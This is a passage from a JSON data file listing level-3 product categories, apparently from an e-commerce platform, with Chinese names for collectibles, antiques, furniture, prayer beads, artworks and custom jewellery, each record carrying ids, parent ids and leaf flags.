leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28422,"name":"竹编/竹雕","parent_cid":20410,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33302,"name":"摆件","parent_cid":32660,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33300,"name":"吊坠","parent_cid":32660,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33301,"name":"手把件","parent_cid":32660,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33299,"name":"手串","parent_cid":32660,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31421,"name":"刀剑","parent_cid":28451,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31443,"name":"刀剑保养品","parent_cid":28451,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31422,"name":"剑袋","parent_cid":28451,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31430,"name":"剑架/剑托","parent_cid":28451,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23674,"name":"案/台类","parent_cid":20427,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23814,"name":"成套家具","parent_cid":20427,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23695,"name":"床类","parent_cid":20427,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23697,"name":"柜类","parent_cid":20427,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23696,"name":"架类","parent_cid":20427,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23694,"name":"几类","parent_cid":20427,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23778,"name":"镜子类","parent_cid":20427,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23759,"name":"屏风/花窗","parent_cid":20427,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23699,"name":"箱类","parent_cid":20427,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23698,"name":"桌类","parent_cid":20427,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23777,"name":"坐具类","parent_cid":20427,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23657,"name":"古生物化石","parent_cid":20412,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23656,"name":"矿物晶体","parent_cid":20412,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23655,"name":"奇石","parent_cid":20412,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23654,"name":"陨石","parent_cid":20412,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33329,"name":"古董家具","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33335,"name":"古董首饰","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33348,"name":"贵金属纪念币","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34513,"name":"古钱币","parent_cid":32662,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33316,"name":"古陶瓷","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33331,"name":"金石篆刻","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33321,"name":"旧藏邮品","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33354,"name":"老金属器","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33326,"name":"连环画/古籍善本","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33351,"name":"趣味收藏","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33322,"name":"书法/绘画","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33323,"name":"文房用品","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33327,"name":"文玩木串","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33333,"name":"西洋收藏品","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33319,"name":"紫砂","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33334,"name":"其它收藏品","parent_cid":32662,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23752,"name":"唱片/影像","parent_cid":20419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23700,"name":"电话","parent_cid":20419,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23690,"name":"电器","parent_cid":20419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23779,"name":"录音机","parent_cid":20419,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23701,"name":"相机","parent_cid":20419,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23691,"name":"钟表","parent_cid":20419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":29686,"name":"成套家具","parent_cid":33795,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29559,"name":"床类","parent_cid":33795,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29565,"name":"柜类","parent_cid":33795,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29539,"name":"红木","parent_cid":33795,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29562,"name":"架类","parent_cid":33795,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29556,"name":"几类","parent_cid":33795,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29666,"name":"镜子类","parent_cid":33795,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29621,"name":"屏风/花窗","parent_cid":33795,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29571,"name":"箱类","parent_cid":33795,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29568,"name":"桌类","parent_cid":33795,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29663,"name":"坐具类","parent_cid":33795,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23811,"name":"名贵花卉","parent_cid":20424,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23692,"name":"其他","parent_cid":20424,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33307,"name":"印石章料","parent_cid":32661,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33308,"name":"篆刻|拓片","parent_cid":32661,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23616,"name":"铝器","parent_cid":20406,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23615,"name":"搪瓷","parent_cid":20406,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23614,"name":"铁/钢器具","parent_cid":20406,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23619,"name":"铜器","parent_cid":20406,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23620,"name":"锡器","parent_cid":20406,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23659,"name":"钱币收藏历史资料","parent_cid":20413,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23658,"name":"其它","parent_cid":20413,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23612,"name":"供应票/证","parent_cid":20405,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23610,"name":"徽章/纪念章/佩件","parent_cid":20405,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23611,"name":"交通票","parent_cid":20405,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23606,"name":"门票","parent_cid":20405,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23609,"name":"商标/说明书","parent_cid":20405,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23607,"name":"照片/纸片","parent_cid":20405,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33788,"name":"柏香籽/百香籽","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33784,"name":"白玉菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33783,"name":"草珠菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33778,"name":"滴血莲花菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33774,"name":"凤眼菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33781,"name":"佛螺菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33789,"name":"佛心果","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33786,"name":"橄榄核","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33787,"name":"猴头核桃","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33773,"name":"金刚菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33792,"name":"库克","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33777,"name":"莲花菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33775,"name":"龙眼菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33790,"name":"菩提根/象牙果","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33780,"name":"千眼菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33776,"name":"麒麟眼菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34167,"name":"桃核","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33794,"name":"藤艺","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33785,"name":"文玩核桃","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33779,"name":"五线菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33772,"name":"星月菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33791,"name":"椰蒂","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33782,"name":"紫金钵盂菩提","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33793,"name":"紫金鼠","parent_cid":33695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23580,"name":"非流通港澳台钱币","parent_cid":20395,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23579,"name":"非流通外国钱币","parent_cid":20395,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23564,"name":"纪念币/纪念章","parent_cid":20395,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23565,"name":"连体钞/纪念钞","parent_cid":20395,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23560,"name":"人民币","parent_cid":20395,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23576,"name":"外汇兑换券","parent_cid":20395,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33763,"name":"现代花钱","parent_cid":20395,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23721,"name":"包袋","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23786,"name":"餐巾纸/袋","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23758,"name":"磁卡/卡片","parent_cid":20426,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23824,"name":"电影道具/周边收藏","parent_cid":20426,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23723,"name":"挂历","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23670,"name":"罐","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23669,"name":"盒","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23823,"name":"教学挂图/地图","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23724,"name":"脸谱","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23788,"name":"利是封/红包","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23825,"name":"名人签名/历史收藏","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23668,"name":"瓶","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23757,"name":"扑克/棋牌","parent_cid":20426,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23726,"name":"钱包","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23849,"name":"球星球队周边收藏","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23794,"name":"生日报/纸质纪念品","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23722,"name":"台历","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23725,"name":"贴纸","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23792,"name":"香水瓶/香水配件","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23790,"name":"宣传画/广告画","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23845,"name":"其它趣味收集","parent_cid":20426,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33602,"name":"成品石雕","parent_cid":33305,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23888,"name":"古玩鉴定/保养工具","parent_cid":20449,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23889,"name":"集邮用具用品","parent_cid":20449,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23890,"name":"钱币收藏用具用品","parent_cid":20449,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23891,"name":"手工艺品保养工具","parent_cid":20449,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23886,"name":"书画收藏/保养工具","parent_cid":20449,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23885,"name":"通用工具","parent_cid":20449,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23887,"name":"玉器鉴定/保养工具","parent_cid":20449,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23884,"name":"篆刻工具","parent_cid":20449,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23595,"name":"版画","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23596,"name":"碑帖","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23598,"name":"丙烯画","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23589,"name":"国画","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23594,"name":"漫画","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23599,"name":"日本画","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23602,"name":"日本书道","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23600,"name":"色粉画","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23591,"name":"水彩","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23592,"name":"水粉","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23597,"name":"素描","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28397,"name":"唐卡","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23588,"name":"信札","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23593,"name":"油画","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23601,"name":"中国书法","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23587,"name":"其他","parent_cid":20403,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23667,"name":"笔","parent_cid":20421,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23706,"name":"臂搁","parent_cid":20421,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23756,"name":"笔筒/笔具","parent_cid":20421,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23672,"name":"墨/墨盒","parent_cid":20421,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23761,"name":"水盂/砚滴","parent_cid":20421,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23705,"name":"砚屏","parent_cid":20421,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23704,"name":"砚台","parent_cid":20421,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23673,"name":"纸/纸具","parent_cid":20421,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33287,"name":"成品木串","parent_cid":32658,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33753,"name":"黄花梨","parent_cid":32658,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33755,"name":"木带宝手串","parent_cid":32658,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33752,"name":"小叶紫檀","parent_cid":32658,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33758,"name":"盘香","parent_cid":33712,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33761,"name":"香插","parent_cid":33712,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33759,"name":"香粉","parent_cid":33712,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33760,"name":"香炉","parent_cid":33712,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33757,"name":"线香","parent_cid":33712,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23880,"name":"摆件","parent_cid":20444,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23883,"name":"黑胶唱片机","parent_cid":20444,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23881,"name":"腕表","parent_cid":20444,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23882,"name":"照相机","parent_cid":20444,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23879,"name":"钟","parent_cid":20444,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23604,"name":"酒瓶/酒具","parent_cid":20404,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23605,"name":"烟具/鼻烟壶","parent_cid":20404,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23603,"name":"渔具","parent_cid":20404,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29719,"name":"奥运主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29729,"name":"芭比娃娃主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29728,"name":"百事可乐主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29725,"name":"变形金刚主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29701,"name":"迪士尼/卡通主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29727,"name":"海绵宝宝主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29670,"name":"hello kitty主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29700,"name":"机器猫/哆啦A梦主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29726,"name":"可口可乐主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29723,"name":"肯德基主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29669,"name":"M&M主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29724,"name":"麦当劳主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29720,"name":"雀巢主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29722,"name":"星巴克主题收藏","parent_cid":23812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33801,"name":"定制摆件","parent_cid":33697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33806,"name":"定制核雕","parent_cid":33697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33304,"name":"定制家具","parent_cid":33697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33288,"name":"定制木串","parent_cid":33697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34501,"name":"定制铂金/PT(素款)","parent_cid":33699,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34502,"name":"定制彩色宝石/贵重宝石","parent_cid":33699,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34586,"name":"定制K金(素款)","parent_cid":33699,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34503,"name":"定制银饰","parent_cid":33699,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34504,"name":"定制珍珠","parent_cid":33699,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34506,"name":"定制钻石首饰","parent_cid":33699,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34505,"name":"定制足金首饰(素款)","parent_cid":33699,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33804,"name":"定制版画","parent_cid":33698,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33805,"name":"定制工艺画","parent_cid":33698,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33289,"name":"定制国画","parent_cid":33698,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33802,"name":"定制书法","parent_cid":33698,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33803,"name":"定制西画","parent_cid":33698,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33309,"name":"定制篆刻","parent_cid":33698,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33603,"name":"定制石雕","parent_cid":33700,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33807,"name":"定制多宝","parent_cid":33696,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33796,"name":"定制翡翠","parent_cid":33696,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32207,"name":"定制和田玉","parent_cid":33696,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33799,"name":"定制琥珀蜜蜡","parent_cid":33696,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31989,"name":"定制绿松石","parent_cid":33696,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33800,"name":"定制南红","parent_cid":33696,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31990,"name":"翡翠/和田玉/琥珀蜜蜡/其他玉石","parent_cid":33696,"level":3,"enable":1,"is_leaf":true,"i